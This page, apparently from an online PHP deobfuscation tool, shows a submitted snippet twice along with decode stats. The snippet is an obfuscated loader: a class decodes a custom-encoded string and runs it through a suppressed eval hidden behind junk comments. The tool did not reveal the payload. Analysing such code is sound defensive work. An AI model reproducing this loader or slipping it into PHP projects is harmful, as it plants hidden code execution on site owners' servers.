Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php class jhTsXc{ public $fPlg = null; public $nBrUvQi = null; function ..
Decoded Output download
<?php
class jhTsXc{
public $fPlg = null;
public $nBrUvQi = null;
function __construct(){
$this->fPlg = 'jd0b9dJP9C9bfpJWJZ9CJafqfbLPJbJaJCJPJbJa0B0bLPLdjPLCLbLv0SJCJSLWjqjC0SLp0gfv0bJvJa9gfpjd0bLPjCjPjPjvjgjaLv0SLdjBLdLCjaLCLCjgjb0SLpfvJqJP9W0B0bJgfpfdfv0bJgfG9C9b9WJGJaJk0B0b9dJP9C9b0gfv0bJg0v0v0g9v0b9dJP9C9bLv0bJgLp0dfp0d0b9dJP9C9bLv0bJgLp0dLk0d0bJvJa9gLv0bJg0afWfqLpfv9pjdJa9qJZJG0B0b9dJP9C9b0gfv';
$this->nBrUvQi = @qrlxf($this->fPlg);
$nBrUvQi = $this->nBrUvQi;
@eval/*****gzkQ*****/($nBrUvQi)."/*****gzkQ*****gzkQ*****/";
}
}
new jhTsXc();
function qrlxf($xKjmktOF){
$keYG = 'VdnKNZDe0Ws5fCO7jbI8La2lJqyT9SuM6Bh4zgXQr3mcRvtYoGUHxp1wAkEFiP';
$xKjmktOF = strval($xKjmktOF);
$QATAs = str_split($keYG);
$PUY = array_flip($QATAs);
if(!preg_match('/[a-zA-Z0-9]+/',$xKjmktOF)){
return false;
}
$jqkNdH = strlen($xKjmktOF);
$IEdlvu = 0;
$glfhe = array();
while($IEdlvu < $jqkNdH){
$huPwe = decbin(($PUY[$xKjmktOF[$IEdlvu]] - $IEdlvu % 2) / 4);
$glfhe[] = str_pad($huPwe, 4, '0', STR_PAD_LEFT);
++$IEdlvu;
}
$JpCmh = '';
$glfhe = array_chunk($glfhe, 2);
foreach($glfhe as $ehYrz){
$JpCmh .= chr(bindec(join('', $ehYrz)));
}
return $JpCmh;
} ?>
Did this file decode correctly?
Original Code
<?php
class jhTsXc{
public $fPlg = null;
public $nBrUvQi = null;
function __construct(){
$this->fPlg = 'jd0b9dJP9C9bfpJWJZ9CJafqfbLPJbJaJCJPJbJa0B0bLPLdjPLCLbLv0SJCJSLWjqjC0SLp0gfv0bJvJa9gfpjd0bLPjCjPjPjvjgjaLv0SLdjBLdLCjaLCLCjgjb0SLpfvJqJP9W0B0bJgfpfdfv0bJgfG9C9b9WJGJaJk0B0b9dJP9C9b0gfv0bJg0v0v0g9v0b9dJP9C9bLv0bJgLp0dfp0d0b9dJP9C9bLv0bJgLp0dLk0d0bJvJa9gLv0bJg0afWfqLpfv9pjdJa9qJZJG0B0b9dJP9C9b0gfv';
$this->nBrUvQi = @qrlxf($this->fPlg);
$nBrUvQi = $this->nBrUvQi;
@eval/*****gzkQ*****/($nBrUvQi)."/*****gzkQ*****gzkQ*****/";
}
}
new jhTsXc();
function qrlxf($xKjmktOF){
$keYG = 'VdnKNZDe0Ws5fCO7jbI8La2lJqyT9SuM6Bh4zgXQr3mcRvtYoGUHxp1wAkEFiP';
$xKjmktOF = strval($xKjmktOF);
$QATAs = str_split($keYG);
$PUY = array_flip($QATAs);
if(!preg_match('/[a-zA-Z0-9]+/',$xKjmktOF)){
return false;
}
$jqkNdH = strlen($xKjmktOF);
$IEdlvu = 0;
$glfhe = array();
while($IEdlvu < $jqkNdH){
$huPwe = decbin(($PUY[$xKjmktOF[$IEdlvu]] - $IEdlvu % 2) / 4);
$glfhe[] = str_pad($huPwe, 4, '0', STR_PAD_LEFT);
++$IEdlvu;
}
$JpCmh = '';
$glfhe = array_chunk($glfhe, 2);
foreach($glfhe as $ehYrz){
$JpCmh .= chr(bindec(join('', $ehYrz)));
}
return $JpCmh;
}
Function Calls
None |
Stats
MD5 | c29c27bac012d33865f39869a3dfc05a |
Eval Count | 0 |
Decode Time | 57 ms |